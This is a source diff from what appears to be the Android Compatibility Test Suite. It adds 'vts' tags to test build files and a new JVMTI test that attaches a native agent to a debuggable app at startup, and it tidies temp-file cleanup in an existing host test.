diff --git a/hostsidetests/inputmethodservice/deviceside/provider/Android.mk b/hostsidetests/inputmethodservice/deviceside/provider/Android.mk
index 61a7574..2261a79 100644
--- a/hostsidetests/inputmethodservice/deviceside/provider/Android.mk
+++ b/hostsidetests/inputmethodservice/deviceside/provider/Android.mk
@@ -31,7 +31,7 @@
     CtsInputMethodServiceLib
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsInputMethodServiceEventProvider
 
diff --git a/hostsidetests/inputmethodservice/hostside/Android.mk b/hostsidetests/inputmethodservice/hostside/Android.mk
index 68b4498..5ff22a2 100644
--- a/hostsidetests/inputmethodservice/hostside/Android.mk
+++ b/hostsidetests/inputmethodservice/hostside/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_MODULE_TAGS := tests
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_MODULE := CtsInputMethodServiceHostTestCases
 
diff --git a/hostsidetests/jdwpsecurity/Android.mk b/hostsidetests/jdwpsecurity/Android.mk
index c57559b..c740f61 100644
--- a/hostsidetests/jdwpsecurity/Android.mk
+++ b/hostsidetests/jdwpsecurity/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_CTS_TEST_PACKAGE := android.host.jdwpsecurity
 
diff --git a/hostsidetests/jdwpsecurity/app/Android.mk b/hostsidetests/jdwpsecurity/app/Android.mk
index eae6088..e1523ab 100644
--- a/hostsidetests/jdwpsecurity/app/Android.mk
+++ b/hostsidetests/jdwpsecurity/app/Android.mk
@@ -19,5 +19,5 @@
 LOCAL_MODULE := CtsJdwpApp
 LOCAL_SRC_FILES := $(call all-subdir-java-files)
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 include $(BUILD_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/allocation-tracking/Android.mk b/hostsidetests/jvmti/allocation-tracking/Android.mk
index 511f543..634b0f6 100644
--- a/hostsidetests/jvmti/allocation-tracking/Android.mk
+++ b/hostsidetests/jvmti/allocation-tracking/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiTrackingHostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/allocation-tracking/app/Android.mk b/hostsidetests/jvmti/allocation-tracking/app/Android.mk
index 7b40a4f..a5fd7c3 100644
--- a/hostsidetests/jvmti/allocation-tracking/app/Android.mk
+++ b/hostsidetests/jvmti/allocation-tracking/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/allocation-tracking/jarjar-rules.txt b/hostsidetests/jvmti/allocation-tracking/jarjar-rules.txt
new file mode 100644
index 0000000..072c926
--- /dev/null
+++ b/hostsidetests/jvmti/allocation-tracking/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTestAllocationTracking@1
diff --git a/hostsidetests/jvmti/attaching/Android.mk b/hostsidetests/jvmti/attaching/Android.mk
new file mode 100644
index 0000000..38e1a4f
--- /dev/null
+++ b/hostsidetests/jvmti/attaching/Android.mk
@@ -0,0 +1,17 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/attaching/app/Android.mk b/hostsidetests/jvmti/attaching/app/Android.mk
new file mode 100644
index 0000000..59cb61b
--- /dev/null
+++ b/hostsidetests/jvmti/attaching/app/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiattachagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiAttachingDeviceApp
+
+include $(BUILD_PACKAGE)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/attaching/app/AndroidManifest.xml b/hostsidetests/jvmti/attaching/app/AndroidManifest.xml
new file mode 100755
index 0000000..feb7b24
--- /dev/null
+++ b/hostsidetests/jvmti/attaching/app/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.attaching">
+
+    <application android:name="android.jvmti.JvmtiApplication" android:debuggable="true">
+        <activity android:exported="true" android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+</manifest>
+
diff --git a/hostsidetests/jvmti/attaching/app/jni/Android.mk b/hostsidetests/jvmti/attaching/app/jni/Android.mk
new file mode 100644
index 0000000..16f2bc1
--- /dev/null
+++ b/hostsidetests/jvmti/attaching/app/jni/Android.mk
@@ -0,0 +1,63 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := libctsjvmtiattachagent
+
+# Don't include this package in any configuration by default.
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := cts_agent.cpp
+
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
+LOCAL_HEADER_LIBRARIES := libopenjdkjvmti_headers
+
+LOCAL_SHARED_LIBRARIES := liblog \
+                          libdl
+
+# The test implementation. We get this provided by ART.
+# Note: Needs to be "whole" as this exposes JNI functions.
+LOCAL_WHOLE_STATIC_LIBRARIES := libctstiagent
+
+# Platform libraries that are not available to apps. Link in statically.
+LOCAL_STATIC_LIBRARIES += libbase
+
+LOCAL_STRIP_MODULE := keep_symbols
+
+# Turn on all warnings.
+LOCAL_CFLAGS :=  -fno-rtti \
+                 -ggdb3 \
+                 -Wall \
+                 -Wextra \
+                 -Werror \
+                 -Wunreachable-code \
+                 -Wredundant-decls \
+                 -Wshadow \
+                 -Wunused \
+                 -Wimplicit-fallthrough \
+                 -Wfloat-equal \
+                 -Wint-to-void-pointer-cast \
+                 -Wused-but-marked-unused \
+                 -Wdeprecated \
+                 -Wunreachable-code-break \
+                 -Wunreachable-code-return \
+                 -g \
+                 -O0 \
+
+LOCAL_CXX_STL := libc++_static
+
+include $(BUILD_SHARED_LIBRARY)
diff --git a/hostsidetests/jvmti/attaching/app/jni/cts_agent.cpp b/hostsidetests/jvmti/attaching/app/jni/cts_agent.cpp
new file mode 100644
index 0000000..bb32c54
--- /dev/null
+++ b/hostsidetests/jvmti/attaching/app/jni/cts_agent.cpp
@@ -0,0 +1,142 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <jvmti.h>
+
+#include <algorithm>
+#include <mutex>
+#include <vector>
+
+#include "android-base/logging.h"
+#include "jvmti_helper.h"
+#include "scoped_utf_chars.h"
+#include "test_env.h"
+
+namespace art {
+
+static std::mutex gVectorMutex;
+static std::vector<std::string> gLoadedDescriptors;
+
+static std::string GetClassName(jvmtiEnv* jenv, JNIEnv* jni_env, jclass klass) {
+  char* name;
+  jvmtiError result = jenv->GetClassSignature(klass, &name, nullptr);
+  if (result != JVMTI_ERROR_NONE) {
+    if (jni_env != nullptr) {
+      JvmtiErrorToException(jni_env, jenv, result);
+    } else {
+      printf("Failed to get class signature.\n");
+    }
+    return "";
+  }
+
+  std::string tmp(name);
+  jenv->Deallocate(reinterpret_cast<unsigned char*>(name));
+
+  return tmp;
+}
+
+static void EnableEvents(JNIEnv* env,
+                         jboolean enable,
+                         decltype(jvmtiEventCallbacks().ClassLoad) class_load,
+                         decltype(jvmtiEventCallbacks().ClassPrepare) class_prepare) {
+  if (enable == JNI_FALSE) {
+    jvmtiError ret = jvmti_env->SetEventNotificationMode(JVMTI_DISABLE,
+                                                         JVMTI_EVENT_CLASS_LOAD,
+                                                         nullptr);
+    if (JvmtiErrorToException(env, jvmti_env, ret)) {
+      return;
+    }
+    ret = jvmti_env->SetEventNotificationMode(JVMTI_DISABLE,
+                                              JVMTI_EVENT_CLASS_PREPARE,
+                                              nullptr);
+    JvmtiErrorToException(env, jvmti_env, ret);
+    return;
+  }
+
+  jvmtiEventCallbacks callbacks;
+  memset(&callbacks, 0, sizeof(jvmtiEventCallbacks));
+  callbacks.ClassLoad = class_load;
+  callbacks.ClassPrepare = class_prepare;
+  jvmtiError ret = jvmti_env->SetEventCallbacks(&callbacks, sizeof(callbacks));
+  if (JvmtiErrorToException(env, jvmti_env, ret)) {
+    return;
+  }
+
+  ret = jvmti_env->SetEventNotificationMode(JVMTI_ENABLE,
+                                            JVMTI_EVENT_CLASS_LOAD,
+                                            nullptr);
+  if (JvmtiErrorToException(env, jvmti_env, ret)) {
+    return;
+  }
+  ret = jvmti_env->SetEventNotificationMode(JVMTI_ENABLE,
+                                            JVMTI_EVENT_CLASS_PREPARE,
+                                            nullptr);
+  JvmtiErrorToException(env, jvmti_env, ret);
+}
+
+static void JNICALL ClassPrepareCallback(jvmtiEnv* jenv,
+                                         JNIEnv* jni_env,
+                                         jthread thread ATTRIBUTE_UNUSED,
+                                         jclass klass) {
+  std::string name = GetClassName(jenv, jni_env, klass);
+  if (name == "") {
+    return;
+  }
+  std::lock_guard<std::mutex> guard(gVectorMutex);
+  gLoadedDescriptors.push_back(name);
+}
+
+extern "C" JNIEXPORT jboolean JNICALL Java_android_jvmti_JvmtiActivity_didSeeLoadOf(
+    JNIEnv* env, jclass Main_klass ATTRIBUTE_UNUSED, jstring descriptor) {
+  std::lock_guard<std::mutex> guard(gVectorMutex);
+  ScopedUtfChars str(env, descriptor);
+  std::string tmp = str.c_str();
+  bool found = std::find(gLoadedDescriptors.begin(), gLoadedDescriptors.end(), tmp) !=
+      gLoadedDescriptors.end();
+  return found ? JNI_TRUE : JNI_FALSE;
+}
+
+extern "C" JNIEXPORT jint JNICALL Agent_OnLoad(JavaVM* vm,
+                                               char* options ATTRIBUTE_UNUSED,
+                                               void* reserved ATTRIBUTE_UNUSED) {
+  if (vm->GetEnv(reinterpret_cast<void**>(&jvmti_env), JVMTI_VERSION_1_0) != 0) {
+    LOG(FATAL) << "Could not get shared jvmtiEnv";
+  }
+
+  SetAllCapabilities(jvmti_env);
+  return 0;
+}
+
+extern "C" JNIEXPORT jint JNICALL Agent_OnAttach(JavaVM* vm,
+                                                 char* options ATTRIBUTE_UNUSED,
+                                                 void* reserved ATTRIBUTE_UNUSED) {
+  JNIEnv* env;
+  CHECK_EQ(0, vm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6))
+      << "Could not get JNIEnv";
+
+  if (vm->GetEnv(reinterpret_cast<void**>(&jvmti_env), JVMTI_VERSION_1_0) != 0) {
+    LOG(FATAL) << "Could not get shared jvmtiEnv";
+  }
+
+  SetAllCapabilities(jvmti_env);
+
+  EnableEvents(env, JNI_TRUE, nullptr, ClassPrepareCallback);
+
+  return 0;
+}
+
+}  // namespace art
diff --git a/hostsidetests/jvmti/attaching/app/src/android/jvmti/JvmtiActivity.java b/hostsidetests/jvmti/attaching/app/src/android/jvmti/JvmtiActivity.java
new file mode 100644
index 0000000..88a0fa9
--- /dev/null
+++ b/hostsidetests/jvmti/attaching/app/src/android/jvmti/JvmtiActivity.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jvmti;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+import java.lang.Override;
+
+/**
+ * A specialized activity. This is separate from the other agent tests as we can't use
+ * instrumentation for this.
+ */
+public class JvmtiActivity extends Activity {
+
+    private final static String APP_DESCRIPTOR = "Landroid/jvmti/JvmtiApplication;";
+    @Override
+    public void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+
+        System.out.println("Checking for " + APP_DESCRIPTOR);
+        if (!didSeeLoadOf(APP_DESCRIPTOR)) {
+            throw new IllegalStateException("Did not see the load of the application class!");
+        }
+    }
+
+    private static native boolean didSeeLoadOf(String s);
+}
diff --git a/hostsidetests/jvmti/attaching/app/src/android/jvmti/JvmtiApplication.java b/hostsidetests/jvmti/attaching/app/src/android/jvmti/JvmtiApplication.java
new file mode 100644
index 0000000..213a3f8
--- /dev/null
+++ b/hostsidetests/jvmti/attaching/app/src/android/jvmti/JvmtiApplication.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jvmti;
+
+import android.app.Application;
+
+/**
+ * A specialized application. This is special compared to other agent tests as we can't use
+ * instrumentation for this and want to test early startup.
+ */
+public class JvmtiApplication extends Application {
+}
diff --git a/hostsidetests/jvmti/attaching/host/Android.mk b/hostsidetests/jvmti/attaching/host/Android.mk
new file mode 100644
index 0000000..f236fb0
--- /dev/null
+++ b/hostsidetests/jvmti/attaching/host/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiAttachingHostTestCases
+LOCAL_SRC_FILES := $(call all-subdir-java-files)
+LOCAL_SDK_VERSION := current
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/attaching/host/AndroidTest.xml b/hostsidetests/jvmti/attaching/host/AndroidTest.xml
new file mode 100644
index 0000000..41c161d
--- /dev/null
+++ b/hostsidetests/jvmti/attaching/host/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI Attaching test cases">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiAttachingDeviceApp.apk" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiAttachingHostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiAttachingDeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.attaching" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/attaching/host/src/android/jvmti/cts/JvmtiAttachingHostTest.java b/hostsidetests/jvmti/attaching/host/src/android/jvmti/cts/JvmtiAttachingHostTest.java
new file mode 100644
index 0000000..2438f32
--- /dev/null
+++ b/hostsidetests/jvmti/attaching/host/src/android/jvmti/cts/JvmtiAttachingHostTest.java
@@ -0,0 +1,168 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the License
+ * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+ * or implied. See the License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+package android.jvmti.cts;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.testrunner.ITestRunListener;
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.ddmlib.testrunner.TestIdentifier;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.config.Option;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.testtype.IAbiReceiver;
+import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.util.AbiUtils;
+import com.android.tradefed.util.FileUtil;
+import com.android.tradefed.util.ZipUtil;
+import java.io.File;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.TimeUnit;
+import java.util.zip.ZipFile;
+
+/**
+ * Specialization of JvmtiHostTest to test attaching on startup.
+ */
+public class JvmtiAttachingHostTest extends DeviceTestCase implements IBuildReceiver, IAbiReceiver {
+    // inject these options from HostTest directly using --set-option <option name>:<option value>
+    @Option(name = "package-name",
+            description = "The package name of the device test",
+            mandatory = true)
+    private String mTestPackageName = null;
+
+    @Option(name = "test-file-name",
+            description = "the name of a test zip file to install on device.",
+            mandatory = true)
+    private String mTestApk = null;
+
+    private CompatibilityBuildHelper mBuildHelper;
+    private IAbi mAbi;
+
+    @Override
+    public void setBuild(IBuildInfo arg0) {
+        mBuildHelper = new CompatibilityBuildHelper(arg0);
+    }
+
+    @Override
+    public void setAbi(IAbi arg0) {
+        mAbi = arg0;
+    }
+
+    public void testJvmtiAttach() throws Exception {
+        final ITestDevice device = getDevice();
+
+        String testingArch = AbiUtils.getBaseArchForAbi(mAbi.getName());
+        String deviceArch = getDeviceBaseArch(device);
+
+        //Only bypass if Base Archs are different
+        if (!testingArch.equals(deviceArch)) {
+            CLog.d(
+                    "Bypass as testing Base Arch:"
+                            + testingArch
+                            + " is different from DUT Base Arch:"
+                            + deviceArch);
+            return;
+        }
+
+        if (mTestApk == null || mTestPackageName == null) {
+            throw new IllegalStateException("Incorrect configuration");
+        }
+
+        runAttachTest(device, mTestPackageName, mTestApk);
+    }
+
+    private String getDeviceBaseArch(ITestDevice device) throws Exception {
+        String abi = device.executeShellCommand("getprop ro.product.cpu.abi").replace("\n", "");
+        CLog.d("DUT abi:" + abi);
+        return AbiUtils.getBaseArchForAbi(abi);
+    }
+
+    private void runAttachTest(ITestDevice device, String pkg, String apk) {
+        try {
+            String pwd = device.executeShellCommand("run-as " + pkg + " pwd");
+            if (pwd == null) {
+                throw new RuntimeException("pwd failed");
+            }
+            pwd = pwd.trim();
+            if (pwd.isEmpty()) {
+                throw new RuntimeException("pwd failed");
+            }
+
+            String agentInDataData =
+                    installLibToDataData(device, pkg, apk, pwd, "libctsjvmtiattachagent.so");
+
+            String attachCmd = "cmd activity start -S -W --attach-agent " + agentInDataData + " -n "
+                    + pkg + "/android.jvmti.JvmtiActivity";
+
+            String attachReply = device.executeShellCommand(attachCmd);
+            // Don't try to parse the output. The test will time out anyways if this didn't
+            // work.
+            if (attachReply != null && !attachReply.trim().isEmpty()) {
+                CLog.e(attachReply);
+            }
+        } catch (Exception e) {
+            throw new RuntimeException("Failed attaching", e);
+        }
+    }
+
+    String installLibToDataData(ITestDevice device, String pkg, String apk, String dataData,
+            String library) throws Exception {
+        ZipFile zf = null;
+        File tmpFile = null;
+        String libInTmp = null;
+        try {
+            String libInDataData = dataData + "/" + library;
+
+            File apkFile = mBuildHelper.getTestFile(apk);
+            zf = new ZipFile(apkFile);
+
+            String libPathInApk = "lib/" + mAbi.getName() + "/" + library;
+            tmpFile = ZipUtil.extractFileFromZip(zf, libPathInApk);
+
+            libInTmp = "/data/local/tmp/" + tmpFile.getName();
+            if (!device.pushFile(tmpFile, libInTmp)) {
+                throw new RuntimeException("Could not push library " + library + " to device");
+            }
+
+            String runAsCp = device.executeShellCommand(
+                    "run-as " + pkg + " cp " + libInTmp + " " + libInDataData);
+            if (runAsCp != null && !runAsCp.trim().isEmpty()) {
+                throw new RuntimeException(runAsCp.trim());
+            }
+
+            String runAsChmod = device
+                    .executeShellCommand("run-as " + pkg + " chmod a+x " + libInDataData);
+            if (runAsChmod != null && !runAsChmod.trim().isEmpty()) {
+                throw new RuntimeException(runAsChmod.trim());
+            }
+
+            return libInDataData;
+        } finally {
+            FileUtil.deleteFile(tmpFile);
+            ZipUtil.closeZip(zf);
+            if (libInTmp != null) {
+                try {
+                    device.executeShellCommand("rm " + libInTmp);
+                } catch (Exception e) {
+                    CLog.e("Failed cleaning up library on device");
+                }
+            }
+        }
+    }
+}
diff --git a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
index f8099ef..ce2969c 100644
--- a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
+++ b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
@@ -27,6 +27,7 @@
 import com.android.tradefed.testtype.IAbiReceiver;
 import com.android.tradefed.testtype.IBuildReceiver;
 import com.android.tradefed.util.AbiUtils;
+import com.android.tradefed.util.FileUtil;
 import com.android.tradefed.util.ZipUtil;
 import java.io.File;
 import java.util.LinkedList;
@@ -68,11 +69,6 @@
         mAbi = arg0;
     }
 
-    /**
-     * Tests the string was successfully logged to Logcat from the activity.
-     *
-     * @throws Exception
-     */
     public void testJvmti() throws Exception {
         final ITestDevice device = getDevice();
 
@@ -125,8 +121,6 @@
 
         @Override
         public void run() {
-            File tmpFile = null;
-            ZipFile zf = null;
             try {
                 String pwd = mDevice.executeShellCommand("run-as " + mPkg + " pwd");
                 if (pwd == null) {
@@ -148,23 +142,13 @@
                 }
             } catch (Exception e) {
                 throw new RuntimeException("Failed attaching", e);
-            } finally {
-                if (tmpFile != null) {
-                    tmpFile.delete();
-                }
-                if (zf != null) {
-                    try {
-                        zf.close();
-                    } catch (Exception e) {
-                        throw new RuntimeException("ZipFile close failed", e);
-                    }
-                }
             }
         }
 
         String installLibToDataData(String dataData, String library) throws Exception {
             ZipFile zf = null;
             File tmpFile = null;
+            String libInTmp = null;
             try {
                 String libInDataData = dataData + "/" + library;
 
@@ -174,7 +158,7 @@
                 String libPathInApk = "lib/" + mAbi.getName() + "/" + library;
                 tmpFile = ZipUtil.extractFileFromZip(zf, libPathInApk);
 
-                String libInTmp = "/data/local/tmp/" + tmpFile.getName();
+                libInTmp = "/data/local/tmp/" + tmpFile.getName();
                 if (!mDevice.pushFile(tmpFile, libInTmp)) {
                     throw new RuntimeException("Could not push library " + library + " to device");
                 }
@@ -193,14 +177,13 @@
 
                 return libInDataData;
             } finally {
-                if (tmpFile != null) {
-                    tmpFile.delete();
-                }
-                if (zf != null) {
+                FileUtil.deleteFile(tmpFile);
+                ZipUtil.closeZip(zf);
+                if (libInTmp != null) {
                     try {
-                        zf.close();
+                        mDevice.executeShellCommand("rm " + libInTmp);
                     } catch (Exception e) {
-                        throw new RuntimeException("ZipFile close failed", e);
+                        CLog.e("Failed cleaning up library on device");
                     }
                 }
             }
diff --git a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiPreparer.java b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiPreparer.java
deleted file mode 100644
index 1577ab3..0000000
--- a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiPreparer.java
+++ /dev/null
@@ -1,40 +0,0 @@
-package android.jvmti.cts;
-
-import com.android.compatibility.common.tradefed.targetprep.ApkInstaller;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.config.Option;
-import com.android.tradefed.config.OptionClass;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.targetprep.TargetSetupError;
-import java.io.File;
-
-@OptionClass(alias="jvmti-installer")
-public class JvmtiPreparer extends ApkInstaller {
-    // We re-use test-file-name to find the APK. But we need to know the package name.
-    @Option(name = "package-name",
-            description = "The package name of the device test",
-            mandatory = true)
-    private String mPackageName = null;
-
-    private String storedApkName;
-
-    public final static String PACKAGE_NAME_ATTRIBUTE = "jvmti-package-name";
-    public final static String APK_ATTRIBUTE = "jvmti-apk";
-
-    @Override
-    public void setUp(ITestDevice arg0, IBuildInfo arg1)
-            throws TargetSetupError, DeviceNotAvailableException {
-        super.setUp(arg0, arg1);
-
-        arg1.addBuildAttribute(PACKAGE_NAME_ATTRIBUTE, mPackageName);
-        arg1.addBuildAttribute(APK_ATTRIBUTE, storedApkName);
-    }
-
-    @Override
-    protected File getLocalPathForFilename(IBuildInfo arg0, String arg1, ITestDevice arg2)
-            throws TargetSetupError {
-        storedApkName = arg1;
-        return super.getLocalPathForFilename(arg0, arg1, arg2);
-    }
-}
